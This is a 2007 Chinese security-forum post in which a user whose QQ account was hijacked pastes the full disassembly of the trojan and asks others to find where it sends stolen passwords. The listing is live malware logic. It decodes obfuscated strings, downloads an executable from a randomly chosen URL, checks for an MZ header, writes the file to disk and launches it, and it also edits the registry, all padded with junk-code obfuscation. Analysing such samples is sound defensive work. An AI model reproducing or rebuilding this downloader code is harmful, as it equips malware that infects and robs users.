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[讨论]电脑中毒了，谁来分析一下源码

发表于: 2007-4-9 20:10 9015

[讨论]电脑中毒了，谁来分析一下源码

poetbox

2007-4-9 20:10

9015

这个病毒没有加密。我用OLLYDBG打开看了一下，看不出明确的地址。
但从瑞星的报警来看，是偷密码的。
昨天已经把我的QQ偷了，把QQ号昵称改成了骂人的话，如果不是密码保护，我这QQ早已不保。

－－源码如下，谁分析一下这个家伙把我密码发到哪个邮箱或主页了？
L000:
  push ebp
  mov    ebp, esp
  sub    esp, 5F0
  push ebx
  push esi
  push edi
  mov    dword ptr [ebp-3C], 00403130
  mov    dword ptr [ebp-38], 00403160
  mov    dword ptr [ebp-34], 00403190
  mov    dword ptr [ebp-30], 004031C0
  mov    dword ptr [ebp-1C], 004031FA
  mov    dword ptr [ebp-18], 00403203
  mov    dword ptr [ebp-14], 00403227
  mov    dword ptr [ebp-10], 0040322F
  mov    dword ptr [ebp-C], 00403235
  mov    dword ptr [ebp-8], 0040323D
  mov    dword ptr [ebp-4], 004031F0
  mov    dword ptr [ebp-44], 0
  push eax
  push ebx
  push ecx
  push edx
  mov    eax, E0FF0000
  mov    ebx, 10FFEEEE
  sub    eax, ebx
  inc    eax
  inc    ecx
  inc    edx
  pop    edx
  pop    ecx
  pop    ebx
  pop    eax
  push 00403247
  call L654
  add    esp, 4
  push 00403247
  lea    ecx, dword ptr [ebp-158]
  call L698
  mov    dword ptr [ebp-40], 0
  jmp L043
L040:
  mov    eax, dword ptr [ebp-40]
  add    eax, 1
  mov    dword ptr [ebp-40], eax
L043:
  cmp    dword ptr [ebp-40], 4
  jnb L051
  mov    ecx, dword ptr [ebp-40]
  mov    edx, dword ptr [ebp+ecx*4-3C]
  push edx
  call L654
  add    esp, 4
  jmp L040
L051:
  push 0040311C
  call atoi
  add    esp, 4
  push 0
  push 0
  call ceil
  fstp st
  add    esp, 8
  push 1
  push 1
  call div
  add    esp, 8
  mov    dword ptr [ebp-5D0], eax
  mov    dword ptr [ebp-5CC], edx
  push 1
  call isalnum
  add    esp, 4
  push 1
  call isalpha
  add    esp, 4
  mov    dword ptr [ebp-40], 0
  jmp L076
L073:
  mov    eax, dword ptr [ebp-40]
  add    eax, 1
  mov    dword ptr [ebp-40], eax
L076:
  cmp    dword ptr [ebp-40], 7
  jnb L084
  mov    ecx, dword ptr [ebp-40]
  mov    edx, dword ptr [ebp+ecx*4-1C]
  push edx
  call L654
  add    esp, 4
  jmp L073
L084:
  push ebx
  mov    ebx, 2
  inc    ebx
  dec    ebx
  pop    ebx
  call L391
  test eax, eax
  jnz L098
  mov    eax, dword ptr [ebp-44]
  mov    dword ptr [ebp-5D4], eax
  lea    ecx, dword ptr [ebp-158]
  call L763
  mov    eax, dword ptr [ebp-5D4]
  jmp L385
L098:
  js L102
  jns L102
  sbb    byte ptr [ebx], al
  adc    dh, byte ptr [ebx]
L102:
  mov    dword ptr [ebp-2C], 0
  xor    ecx, ecx
  mov    dword ptr [ebp-28], ecx
  mov    dword ptr [ebp-24], ecx
  mov    dword ptr [ebp-20], ecx
  mov    dword ptr [ebp-48], 0
L108:
  mov    edx, dword ptr [ebp-48]
  mov    eax, dword ptr [ebp-48]
  add    eax, 1
  mov    dword ptr [ebp-48], eax
  cmp    edx, 4
  jge L273
  push 0040311C
  call atoi
  add    esp, 4
  push 0
  push 0
  call ceil
  fstp st
  add    esp, 8
  push 1
  push 1
  call div
  add    esp, 8
  mov    dword ptr [ebp-5DC], eax
  mov    dword ptr [ebp-5D8], edx
  push 1
  call isalnum
  add    esp, 4
  push 1
  call isalpha
  add    esp, 4
  push 0
  call time
  add    esp, 4
  push eax
  call srand
  add    esp, 4
  call rand
  and    eax, 80000003
  jns L146
  dec    eax
  or    eax, FFFFFFFC
  inc    eax
L146:
  mov    dword ptr [ebp-264], eax
  mov    dword ptr [ebp-260], 0
L148:
  mov    ecx, dword ptr [ebp-260]
  mov    edx, dword ptr [ebp-260]
  add    edx, 1
  mov    dword ptr [ebp-260], edx
  cmp    ecx, 4
  jge L170
  mov    eax, dword ptr [ebp-264]
  cmp    dword ptr [ebp+eax*4-2C], 0
  je L166
  mov    ecx, dword ptr [ebp-264]
  add    ecx, 1
  and    ecx, 80000003
  jns L164
  dec    ecx
  or    ecx, FFFFFFFC
  inc    ecx
L164:
  mov    dword ptr [ebp-264], ecx
  jmp L169
L166:
  mov    edx, dword ptr [ebp-264]
  mov    dword ptr [ebp+edx*4-2C], 1
  jmp L170
L169:
  jmp L148
L170:
  push 0040311C
  call atoi
  add    esp, 4
  push 0
  push 0
  call ceil
  fstp st
  add    esp, 8
  push 1
  push 1
  call div
  add    esp, 8
  mov    dword ptr [ebp-5E4], eax
  mov    dword ptr [ebp-5E0], edx
  push 1
  call isalnum
  add    esp, 4
  push 1
  call isalpha
  add    esp, 4
  mov    ax, word ptr [403118]
  mov    word ptr [ebp-25C], ax
  mov    cl, byte ptr [40311A]
  mov    byte ptr [ebp-25A], cl
  mov    ecx, 40
  xor    eax, eax
  lea    edi, dword ptr [ebp-259]
  rep    stos dword ptr es:[edi]
  stos byte ptr es:[edi]
  mov    edi, 004031F0
  lea    edx, dword ptr [ebp-25C]
  or    ecx, FFFFFFFF
  xor    eax, eax
  repne scas byte ptr es:[edi]
  not    ecx
  sub    edi, ecx
  mov    esi, edi
  mov    ebx, ecx
  mov    edi, edx
  or    ecx, FFFFFFFF
  xor    eax, eax
  repne scas byte ptr es:[edi]
  add    edi, -1
  mov    ecx, ebx
  shr    ecx, 2
  rep    movs dword ptr es:[edi], dword ptr [esi]
  mov    ecx, ebx
  and    ecx, 3
  rep    movs byte ptr es:[edi], byte ptr [esi]
  mov    edi, 00403118
  lea    edx, dword ptr [ebp-25C]
  or    ecx, FFFFFFFF
  xor    eax, eax
  repne scas byte ptr es:[edi]
  not    ecx
  sub    edi, ecx
  mov    esi, edi
  mov    ebx, ecx
  mov    edi, edx
  or    ecx, FFFFFFFF
  xor    eax, eax
  repne scas byte ptr es:[edi]
  add    edi, -1
  mov    ecx, ebx
  shr    ecx, 2
  rep    movs dword ptr es:[edi], dword ptr [esi]
  mov    ecx, ebx
  and    ecx, 3
  rep    movs byte ptr es:[edi], byte ptr [esi]
  mov    byte ptr [ebp-368], 0
  mov    ecx, 40
  xor    eax, eax
  lea    edi, dword ptr [ebp-367]
  rep    stos dword ptr es:[edi]
  stos word ptr es:[edi]
  stos byte ptr es:[edi]
  push 0A
  lea    eax, dword ptr [ebp-368]
  push eax
  push 0C389
  call _itoa
  add    esp, 0C
  lea    ecx, dword ptr [ebp-368]
  push ecx
  mov    edx, dword ptr [ebp-264]
  mov    eax, dword ptr [ebp+edx*4-3C]
  push eax
  lea    ecx, dword ptr [ebp-25C]
  push ecx
  lea    edx, dword ptr [ebp-570]
  push edx
  call sprintf
  add    esp, 10
  push 0
  lea    eax, dword ptr [ebp-570]
  push eax
  lea    ecx, dword ptr [ebp-158]
  call L1268
  mov    dword ptr [ebp-44], eax
  cmp    dword ptr [ebp-44], 0
  je L272
  jmp L273
L272:
  jmp L108
L273:
  push ecx
  inc    ecx
  pop    ecx
  cmp    dword ptr [ebp-44], 0
  je L380
  jb L286
  jnb L286
  add    dl, byte ptr [ebx+15]
  aaa
  db    15
  db    37
  db    15
  aaa
L286:
  lea    ecx, dword ptr [ebp-158]
  mov    dword ptr [ebp-584], ecx
  push ecx
  push edx
  inc    ebx
  inc    ecx
  mov    edx, E0FF1086
  mov    ecx, 10EFC012
  sub    edx, ecx
  inc    ebx
  inc    ecx
  pop    edx
  pop    ecx
  mov    ecx, 11
  xor    eax, eax
  lea    edi, dword ptr [ebp-5C8]
  rep    stos dword ptr es:[edi]
  mov    dword ptr [ebp-5C8], 44
  xor    edx, edx
  mov    dword ptr [ebp-580], edx
  mov    dword ptr [ebp-57C], edx
  mov    dword ptr [ebp-578], edx
  mov    dword ptr [ebp-574], edx
  push eax
  push ebx
  push ecx
  push edx
  mov    eax, 1
  mov    ebx, 2
  mov    ecx, 3
  mov    edx, 4
  inc    eax
  inc    ebx
  inc    ecx
  inc    edx
  dec    eax
  dec    ebx
  dec    ecx
  dec    edx
  pop    edx
  pop    ecx
  pop    ebx
  pop    eax
  lea    eax, dword ptr [ebp-580]
  push eax
  lea    ecx, dword ptr [ebp-5C8]
  push ecx
  push 0
  push 0
  push 0
  push 0
  push 0
  push 0
  mov    edx, dword ptr [ebp-584]
  push edx
  push 0
  call CreateProcessA
  test eax, eax
  jnz L346
  jmp L380
L346:
  push 0040311C
  call atoi
  add    esp, 4
  push 0
  push 0
  call ceil
  fstp st
  add    esp, 8
  push 1
  push 1
  call div
  add    esp, 8
  mov    dword ptr [ebp-5EC], eax
  mov    dword ptr [ebp-5E8], edx
  push 1
  call isalnum
  add    esp, 4
  push 1
  call isalpha
  add    esp, 4
  mov    dword ptr [ebp-44], 1
  mov    eax, dword ptr [ebp-580]
  push eax
  call CloseHandle
  mov    ecx, dword ptr [ebp-57C]
  push ecx
  call CloseHandle
  je L380
  jnz L380
  and    ah, byte ptr [ebx]
  db    25
  db    47
  db    35
  push edi
L380:
  mov    edx, dword ptr [ebp-44]
  mov    dword ptr [ebp-5F0], edx
  lea    ecx, dword ptr [ebp-158]
  call L763
  mov    eax, dword ptr [ebp-5F0]
L385:
  pop    edi
  pop    esi
  pop    ebx
  mov    esp, ebp
  pop    ebp
  retn 10
L391:
  push ebp
  mov    ebp, esp
  push -1
  push 004020C0
  push <jmp.&MSVCRT._except_handler3>
  mov    eax, dword ptr fs:[0]
  push eax
  mov    dword ptr fs:[0], esp
  add    esp, -124
  push ebx
  push esi
  push edi
  mov    dword ptr [ebp-28], 0
  mov    byte ptr [ebp-12C], 0
  mov    ecx, 3F
  xor    eax, eax
  lea    edi, dword ptr [ebp-12B]
  rep    stos dword ptr es:[edi]
  stos word ptr es:[edi]
  stos byte ptr es:[edi]
  push 0A
  lea    eax, dword ptr [ebp-12C]
  push eax
  push 0C389
  call _itoa
  add    esp, 0C
  lea    edi, dword ptr [ebp-12C]
  or    ecx, FFFFFFFF
  xor    eax, eax
  repne scas byte ptr es:[edi]
  not    ecx
  add    ecx, -1
  mov    dword ptr [ebp-24], ecx
  push ecx
  inc    ecx
  pop    ecx
  lea    ecx, dword ptr [ebp-2C]
  push ecx
  push 004031FA
  push 80000002
  call RegOpenKeyA
  test eax, eax
  je L436
  mov    eax, dword ptr [ebp-28]
  jmp L632
L436:
  wait
  mov    dword ptr [ebp-4], 0
  push ecx
  push edx
  inc    ebx
  inc    ecx
  mov    edx, E0FF1086
  mov    ecx, 10EFC012
  sub    edx, ecx
  inc    ebx
  inc    ecx
  pop    edx
  pop    ecx
  lea    edx, dword ptr [ebp-1C]
  push edx
  push 00403203
  mov    eax, dword ptr [ebp-2C]
  push eax
  call RegCreateKeyA
  test eax, eax
  je L458
  jmp L572
L458:
  push eax
  push ebx
  push ecx
  push edx
  mov    eax, 1
  mov    ebx, 2
  mov    ecx, 3
  mov    edx, 4
  inc    eax
  inc    ebx
  inc    ecx
  inc    edx
  dec    eax
  dec    ebx
  dec    ecx
  dec    edx
  pop    edx
  pop    ecx
  pop    ebx
  pop    eax
  mov    ecx, dword ptr [ebp-24]
  push ecx
  lea    edx, dword ptr [ebp-12C]
  push edx
  push 1
  push 0
  push 00403227
  mov    eax, dword ptr [ebp-1C]
  push eax
  call RegSetValueExA
  test eax, eax
  je L491
  jmp L572
L491:
  jb L499
  jnb L499
  add    dl, byte ptr [ebx+15]
  aaa
  db    15
  db    37
  db    15
  aaa
L499:
  lea    ecx, dword ptr [ebp-20]
  push ecx
  push 0040322F
  mov    edx, dword ptr [ebp-1C]
  push edx
  call RegCreateKeyA
  test eax, eax
  je L508
  jmp L572
L508:
  mov    eax, dword ptr [ebp-20]
  push eax
  call RegCloseKey
  push eax
  push ebx
  push ecx
  push edx
  mov    eax, 1
  mov    ebx, 2
  mov    ecx, 3
  mov    edx, 4
  inc    eax
  inc    ebx
  inc    ecx
  inc    edx
  dec    eax
  dec    ebx
  dec    ecx
  dec    edx
  pop    edx
  pop    ecx
  pop    ebx
  pop    eax
  lea    ecx, dword ptr [ebp-20]
  push ecx
  push 00403235
  db    8B
  push ebp
  in    al, 52
  call RegCreateKeyA
  test eax, eax
  je L541
  jmp L572
L541:
  push ecx
  push edx
  inc    ebx
  inc    ecx
  mov    edx, E0FF1086
  mov    ecx, 10EFC012
  sub    edx, ecx
  inc    ebx
  inc    ecx
  pop    edx
  pop    ecx
  mov    eax, dword ptr [ebp-20]
  push eax
  call RegCloseKey
  je L562
  jnz L562
  and    ah, byte ptr [ebx]
  db    25
  db    47
  db    35
  push edi
L562:
  lea    ecx, dword ptr [ebp-20]
  push ecx
  push 0040323D
  mov    edx, dword ptr [ebp-1C]
  push edx
  call RegCreateKeyA
  test eax, eax
  je L571
  jmp L572
L571:
  mov    dword ptr [ebp-28], 1
L572:
  wait
  mov    dword ptr [ebp-4], -1
  call L576
  jmp L631
L576:
  push eax
  push ebx
  push ecx
  push edx
  mov    eax, E0FF0000
  mov    ebx, 10FFEEEE
  sub    eax, ebx
  inc    eax
  inc    ecx
  inc    edx
  pop    edx
  pop    ecx
  pop    ebx
  pop    eax
  cmp    dword ptr [ebp-2C], 0
  je L595
  mov    eax, dword ptr [ebp-2C]
  push eax
  call RegCloseKey
L595:
  cmp    dword ptr [ebp-1C], 0
  je L600
  mov    ecx, dword ptr [ebp-1C]
  push ecx
  call RegCloseKey
L600:
  push 0040311C
  call atoi
  add    esp, 4
  push 0
  push 0
  call ceil
  fstp st
  add    esp, 8
  push 1
  push 1
  call div
  add    esp, 8
  mov    dword ptr [ebp-134], eax
  mov    dword ptr [ebp-130], edx
  push 1
  call isalnum
  add    esp, 4
  push 1
  call isalpha
  add    esp, 4
  cmp    dword ptr [ebp-20], 0
  je L625
  mov    edx, dword ptr [ebp-20]
  push edx
  call RegCloseKey
L625:
  push ebx
  mov    ebx, 2
  inc    ebx
  dec    ebx
  pop    ebx
  retn
L631:
  mov    eax, dword ptr [ebp-28]
L632:
  mov    ecx, dword ptr [ebp-10]
  mov    dword ptr fs:[0], ecx
  pop    edi
  pop    esi
  pop    ebx
  mov    esp, ebp
  pop    ebp
  retn
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
L654:
  push ebp
  mov    ebp, esp
  push ebx
  push eax
  push ebx
  push ecx
  push edx
  mov    eax, 1
  mov    ebx, 2
  mov    ecx, 3
  mov    edx, 4
  inc    eax
  inc    ebx
  inc    ecx
  inc    edx
  dec    eax
  dec    ebx
  dec    ecx
  dec    edx
  pop    edx
  pop    ecx
  pop    ebx
  pop    eax
  mov    ecx, dword ptr [ebp+8]
  mov    al, byte ptr [ecx]
  test al, al
  je L687
L681:
  add    al, 5
  mov    byte ptr [ecx], al
  mov    al, byte ptr [ecx+1]
  inc    ecx
  test al, al
  jnz L681
L687:
  push ebx
  mov    ebx, 2
  inc    ebx
  dec    ebx
  pop    ebx
  mov    eax, 1
  pop    ebx
  pop    ebp
  retn
  nop
  nop
L698:
  push ebp
  mov    ebp, esp
  push ecx
  push ebx
  push esi
  push edi
  mov    dword ptr [ebp-4], ecx
  mov    eax, dword ptr [ebp-4]
  mov    dword ptr [eax+108], 0
  mov    ecx, dword ptr [ebp-4]
  mov    dword ptr [ecx+10C], 0
  js L713
  jns L713
  sbb    byte ptr [ebx], al
  adc    dh, byte ptr [ebx]
L713:
  push 1
  push 2D
  mov    edx, dword ptr [ebp-4]
  push edx
  push 0
  call SHGetSpecialFolderPathA
  mov    edi, dword ptr [ebp+8]
  mov    edx, dword ptr [ebp-4]
  or    ecx, FFFFFFFF
  xor    eax, eax
  repne scas byte ptr es:[edi]
  not    ecx
  sub    edi, ecx
  mov    esi, edi
  mov    ebx, ecx
  mov    edi, edx
  or    ecx, FFFFFFFF
  xor    eax, eax
  repne scas byte ptr es:[edi]
  add    edi, -1
  mov    ecx, ebx
  shr    ecx, 2
  rep    movs dword ptr es:[edi], dword ptr [esi]
  mov    ecx, ebx
  and    ecx, 3
  rep    movs byte ptr es:[edi], byte ptr [esi]
  push ecx
  inc    ecx
  pop    ecx
  mov    eax, dword ptr [ebp-4]
  pop    edi
  pop    esi
  pop    ebx
  mov    esp, ebp
  pop    ebp
  retn 4
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
L763:
  push esi
  mov    esi, ecx
  push edi
  mov InternetCloseHandle
  mov    eax, dword ptr [esi+108]
  test eax, eax
  je L772
  push eax
  call edi
L772:
  mov    esi, dword ptr [esi+10C]
  test esi, esi
  je L777
  push esi
  call edi
L777:
  pop    edi
  pop    esi
  retn
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
L789:
  push ebp
  mov    ebp, esp
  sub    esp, 8
  push ebx
  push esi
  push edi
  mov    dword ptr [ebp-8], ecx
  je L803
  jnz L803
  and    ah, byte ptr [ebx]
  db    25
  db    47
  db    35
  push edi
L803:
  cmp    dword ptr [ebp+8], 0
  je L807
  mov    dword ptr [ebp-4], 3
  jmp L808
L807:
  mov    dword ptr [ebp-4], 0
L808:
  push 0
  push 0
  mov    eax, dword ptr [ebp+8]
  push eax
  mov    ecx, dword ptr [ebp-4]
  push ecx
  push 00403120
  call InternetOpenA
  mov    edx, dword ptr [ebp-8]
  mov    dword ptr [edx+108], eax
  mov    eax, dword ptr [ebp-8]
  cmp    dword ptr [eax+108], 0
  jnz L823
  xor    eax, eax
  jmp L832
L823:
  jb L831
  jnb L831
  add    dl, byte ptr [ebx+15]
  aaa
  db    15
  db    37
  db    15
  aaa
L831:
  mov    eax, 1
L832:
  pop    edi
  pop    esi
  pop    ebx
  mov    esp, ebp
  pop    ebp
  retn 4
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
L848:
  push ebp
  mov    ebp, esp
  sub    esp, 404
  push ebx
  mov    edx, ecx
  push edi
  mov    ecx, 100
  xor    eax, eax
  lea    edi, dword ptr [ebp-404]
  mov    dword ptr [ebp-4], 400
  rep    stos dword ptr es:[edi]
  push ebx
  mov    ebx, 2
  inc    ebx
  dec    ebx
  pop    ebx
  mov    edx, dword ptr [edx+10C]
  push eax
  lea    eax, dword ptr [ebp-4]
  lea    ecx, dword ptr [ebp-404]
  push eax
  push ecx
  push 5
  push edx
  call HttpQueryInfoA
  test eax, eax
  jnz L880
  pop    edi
  pop    ebx
  mov    esp, ebp
  pop    ebp
  retn
L880:
  push ecx
  inc    ecx
  pop    ecx
  lea    eax, dword ptr [ebp-404]
  push eax
  call atol
  add    esp, 4
  pop    edi
  pop    ebx
  mov    esp, ebp
  pop    ebp
  retn
  nop
  nop
  nop
  nop
  nop
  nop
L898:
  push ebp
  mov    ebp, esp
  push -1
  push 004020D0
  push <jmp.&MSVCRT._except_handler3>
  mov    eax, dword ptr fs:[0]
  push eax
  mov    dword ptr fs:[0], esp
  add    esp, -30
  push ebx
  push esi
  push edi
  mov    dword ptr [ebp-40], ecx
  mov    dword ptr [ebp-20], 0
  mov    dword ptr [ebp-1C], 0
  mov    dword ptr [ebp-2C], 0
  push eax
  push ebx
  push ecx
  push edx
  mov    eax, 1
  mov    ebx, 2
  mov    ecx, 3
  mov    edx, 4
  inc    eax
  inc    ebx
  inc    ecx
  inc    edx
  dec    eax
  dec    ebx
  dec    ecx
  dec    edx
  pop    edx
  pop    ecx
  pop    ebx
  pop    eax
  mov    dword ptr [ebp-4], 0
  jb L943
  jnb L943
  add    dl, byte ptr [ebx+15]
  aaa
  db    15
  db    37
  db    15
  aaa
L943:
  push 0
  push 80000000
  push 0
  push 0
  mov    eax, dword ptr [ebp+8]
  push eax
  mov    ecx, dword ptr [ebp-40]
  mov    edx, dword ptr [ecx+108]
  push edx
  call InternetOpenUrlA
  mov    ecx, dword ptr [ebp-40]
  mov    dword ptr [ecx+10C], eax
  mov    edx, dword ptr [ebp-40]
  cmp    dword ptr [edx+10C], 0
  jnz L959
  jmp L1082
L959:
  je L966
  jnz L966
  and    ah, byte ptr [ebx]
  db    25
  db    47
  db    35
  push edi
L966:
  mov    ecx, dword ptr [ebp-40]
  call L848
  mov    dword ptr [ebp-28], eax
  cmp    dword ptr [ebp-28], 0
  jnz L972
  jmp L1082
L972:
  push ecx
  push edx
  inc    ebx
  inc    ecx
  mov    edx, E0FF1086
  mov    ecx, 10EFC012
  sub    edx, ecx
  inc    ebx
  inc    ecx
  pop    edx
  pop    ecx
  mov    eax, dword ptr [ebp-28]
  push eax
  call L1322
  add    esp, 4
  mov    dword ptr [ebp-34], eax
  mov    ecx, dword ptr [ebp+C]
  mov    edx, dword ptr [ebp-34]
  mov    dword ptr [ecx], edx
  mov    eax, dword ptr [ebp+C]
  cmp    dword ptr [eax], 0
  jnz L995
  jmp L1082
L995:
  mov    ecx, dword ptr [ebp-28]
  xor    eax, eax
  mov    edx, dword ptr [ebp+C]
  mov    edi, dword ptr [edx]
  mov    edx, ecx
  shr    ecx, 2
  rep    stos dword ptr es:[edi]
  mov    ecx, edx
  and    ecx, 3
  rep    stos byte ptr es:[edi]
  mov    eax, dword ptr [ebp+C]
  mov    ecx, dword ptr [eax]
  mov    dword ptr [ebp-2C], ecx
  push ecx
  inc    ecx
  pop    ecx
L1011:
  mov    edx, dword ptr [ebp-1C]
  cmp    edx, dword ptr [ebp-28]
  jnb L1078
  js L1018
  jns L1018
  sbb    byte ptr [ebx], al
  adc    dh, byte ptr [ebx]
L1018:
  push 0
  push 0
  lea    eax, dword ptr [ebp-24]
  push eax
  mov    ecx, dword ptr [ebp-40]
  mov    edx, dword ptr [ecx+10C]
  push edx
  call InternetQueryDataAvailable
  test eax, eax
  jnz L1036
  mov    eax, dword ptr [ebp+C]
  mov    ecx, dword ptr [eax]
  mov    dword ptr [ebp-38], ecx
  mov    edx, dword ptr [ebp-38]
  push edx
  call L1321
  add    esp, 4
  jmp L1082
L1036:
  push eax
  push ebx
  push ecx
  push edx
  mov    eax, E0FF0000
  mov    ebx, 10FFEEEE
  sub    eax, ebx
  inc    eax
  inc    ecx
  inc    edx
  pop    edx
  pop    ecx
  pop    ebx
  pop    eax
  mov    dword ptr [ebp-30], 0
  lea    eax, dword ptr [ebp-30]
  push eax
  mov    ecx, dword ptr [ebp-24]
  push ecx
  mov    edx, dword ptr [ebp-2C]
  push edx
  mov    eax, dword ptr [ebp-40]
  mov    ecx, dword ptr [eax+10C]
  push ecx
  call InternetReadFile
  test eax, eax
  jnz L1071
  mov    edx, dword ptr [ebp+C]
  mov    eax, dword ptr [edx]
  mov    dword ptr [ebp-3C], eax
  mov    ecx, dword ptr [ebp-3C]
  push ecx
  call L1321
  add    esp, 4
  jmp L1082
L1071:
  mov    edx, dword ptr [ebp-2C]
  add    edx, dword ptr [ebp-30]
  mov    dword ptr [ebp-2C], edx
  mov    eax, dword ptr [ebp-1C]
  add    eax, dword ptr [ebp-30]
  mov    dword ptr [ebp-1C], eax
  jmp L1011
L1078:
  mov    ecx, dword ptr [ebp-40]
  mov    edx, dword ptr [ebp-1C]
  mov    dword ptr [ecx+104], edx
  mov    dword ptr [ebp-20], 1
L1082:
  mov    dword ptr [ebp-4], -1
  call L1085
  jmp L1112
L1085:
  push ebx
  mov    ebx, 2
  inc    ebx
  dec    ebx
  pop    ebx
  mov    eax, dword ptr [ebp-40]
  cmp    dword ptr [eax+108], 0
  je L1097
  mov    ecx, dword ptr [ebp-40]
  mov    edx, dword ptr [ecx+108]
  push edx
  call InternetCloseHandle
L1097:
  mov    eax, dword ptr [ebp-40]
  cmp    dword ptr [eax+10C], 0
  je L1104
  mov    ecx, dword ptr [ebp-40]
  mov    edx, dword ptr [ecx+10C]
  push edx
  call InternetCloseHandle
L1104:
  je L1111
  jnz L1111
  and    ah, byte ptr [ebx]
  db    25
  db    47
  db    35
  push edi
L1111:
  retn
L1112:
  mov    eax, dword ptr [ebp-20]
  mov    ecx, dword ptr [ebp-10]
  mov    dword ptr fs:[0], ecx
  pop    edi
  pop    esi
  pop    ebx
  mov    esp, ebp
  pop    ebp
  retn 8
  int3
  int3
  int3
  int3
  int3
  int3
L1127:
  push ebp
  mov    ebp, esp
  push -1
  push 004020E0
  push <jmp.&MSVCRT._except_handler3>
  mov    eax, dword ptr fs:[0]
  push eax
  mov    dword ptr fs:[0], esp
  add    esp, -18
  push ebx
  push esi
  push edi
  mov    dword ptr [ebp-28], ecx
  jb L1148
  jnb L1148
  add    dl, byte ptr [ebx+15]
  aaa
  db    15
  db    37
  db    15
  aaa
L1148:
  push 0
  push 80
  push 2
  push 0
  push 1
  push 40000000
  mov    eax, dword ptr [ebp-28]
  push eax
  call CreateFileA
  mov    dword ptr [ebp-20], eax
  cmp    dword ptr [ebp-20], -1
  jnz L1162
  xor    eax, eax
  jmp L1213
L1162:
  mov    dword ptr [ebp-1C], 0
  wait
  mov    dword ptr [ebp-4], 0
  push 0
  lea    ecx, dword ptr [ebp-24]
  push ecx
  mov    edx, dword ptr [ebp-28]
  mov    eax, dword ptr [edx+104]
  push eax
  mov    ecx, dword ptr [ebp+8]
  push ecx
  mov    edx, dword ptr [ebp-20]
  push edx
  call WriteFile
  test eax, eax
  jnz L1179
  jmp L1199
L1179:
  push eax
  push ebx
  push ecx
  push edx
  mov    eax, E0FF0000
  mov    ebx, 10FFEEEE
  sub    eax, ebx
  inc    eax
  inc    ecx
  inc    edx
  pop    edx
  pop    ecx
  pop    ebx
  pop    eax
  mov    eax, dword ptr [ebp-28]
  mov    ecx, dword ptr [eax+104]
  cmp    ecx, dword ptr [ebp-24]
  je L1198
  jmp L1199
L1198:
  mov    dword ptr [ebp-1C], 1
L1199:
  wait
  mov    dword ptr [ebp-4], -1
  call L1203
  jmp L1207
L1203:
  mov    edx, dword ptr [ebp-20]
  push edx
  call CloseHandle
  retn
L1207:
  push ebx
  mov    ebx, 2
  inc    ebx
  dec    ebx
  pop    ebx
  mov    eax, dword ptr [ebp-1C]
L1213:
  mov    ecx, dword ptr [ebp-10]
  mov    dword ptr fs:[0], ecx
  pop    edi
  pop    esi
  pop    ebx
  mov    esp, ebp
  pop    ebp
  retn 4
L1221:
  push ebp
  mov    ebp, esp
  push ecx
  push esi
  mov    esi, ecx
  mov    ecx, dword ptr [ebp+8]
  lea    eax, dword ptr [ebp-4]
  push edi
  push eax
  xor    edi, edi
  push ecx
  mov    ecx, esi
  mov    dword ptr [ebp-4], edi
  call L898
  test eax, eax
  jnz L1242
  pop    edi
  pop    esi
  mov    esp, ebp
  pop    ebp
  retn 4
L1242:
  push ecx
  inc    ecx
  pop    ecx
  mov    eax, dword ptr [ebp-4]
  cmp    word ptr [eax], 5A4D
  jnz L1254
  push eax
  mov    ecx, esi
  call L1127
  test eax, eax
  je L1254
  mov    edi, 1
L1254:
  mov    edx, dword ptr [ebp-4]
  push edx
  call L1321
  add    esp, 4
  mov    eax, edi
  pop    edi
  pop    esi
  mov    esp, ebp
  pop    ebp
  retn 4
  nop
  nop
  nop
  nop
L1268:
  push ebp
  mov    ebp, esp
  push esi
  mov    esi, ecx
  push 0040311C
  call atoi
  push 0
  push 0
  call ceil
  push 1
  push 1
  fstp st
  call div
  push 1
  call isalnum
  push 1
  call isalpha
  mov    eax, dword ptr [ebp+C]
  add    esp, 1C
  mov    ecx, esi
  push eax
  call L789
  test eax, eax
  jnz L1295
  pop    esi
  pop    ebp
  retn 8
L1295:
  push ecx
  inc    ecx
  pop    ecx
  mov    ecx, dword ptr [ebp+8]
  push ecx
  mov    ecx, esi
  call L1221
  pop    esi
  pop    ebp
  retn 8
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  jmp _except_handler3
L1321:
  jmp operator delete
L1322:
  jmp operator new
  push ebp
  mov    ebp, esp
  push -1
  push 004020F0
  push <jmp.&MSVCRT._except_handler3>
  mov    eax, dword ptr fs:[0]
  push eax
  mov    dword ptr fs:[0], esp
  sub    esp, 68
  push ebx
  push esi
  push edi
  mov    dword ptr [ebp-18], esp
  xor    ebx, ebx
  mov    dword ptr [ebp-4], ebx
  push 2
  call __set_app_type
  pop    ecx
  or    dword ptr [403274], FFFFFFFF
  or    dword ptr [403278], FFFFFFFF
  call __p__fmode
  mov    ecx, dword ptr [403270]
  mov    dword ptr [eax], ecx
  call __p__commode
  mov    ecx, dword ptr [40326C]
  mov    dword ptr [eax], ecx
  mov _adjust_fdiv
  mov    eax, dword ptr [eax]
  mov    dword ptr [40327C], eax
  call L1452
  cmp    dword ptr [403260], ebx
  jnz L1358
  push 00401FDE
  call __setusermatherr
  pop    ecx
L1358:
  call L1444
  push 0040300C
  push 00403008
  call L1443
  mov    eax, dword ptr [403268]
  mov    dword ptr [ebp-6C], eax
  lea    eax, dword ptr [ebp-6C]
  push eax
  push dword ptr [403264]
  lea    eax, dword ptr [ebp-64]
  push eax
  lea    eax, dword ptr [ebp-70]
  push eax
  lea    eax, dword ptr [ebp-60]
  push eax
  call __getmainargs
  push 00403004
  push 00403000
  call L1443
  add    esp, 24
  mov _acmdln
  mov    esi, dword ptr [eax]
  mov    dword ptr [ebp-74], esi
  cmp    byte ptr [esi], 22
  jnz L1407
L1383:
  inc    esi
  mov    dword ptr [ebp-74], esi
  mov    al, byte ptr [esi]
  cmp    al, bl
  je L1390
  cmp    al, 22
  jnz L1383
L1390:
  cmp    byte ptr [esi], 22
  jnz L1394
L1392:
  inc    esi
  mov    dword ptr [ebp-74], esi
L1394:
  mov    al, byte ptr [esi]
  cmp    al, bl
  je L1399
  cmp    al, 20
  jbe L1392
L1399:
  mov    dword ptr [ebp-30], ebx
  lea    eax, dword ptr [ebp-5C]
  push eax
  call GetStartupInfoA
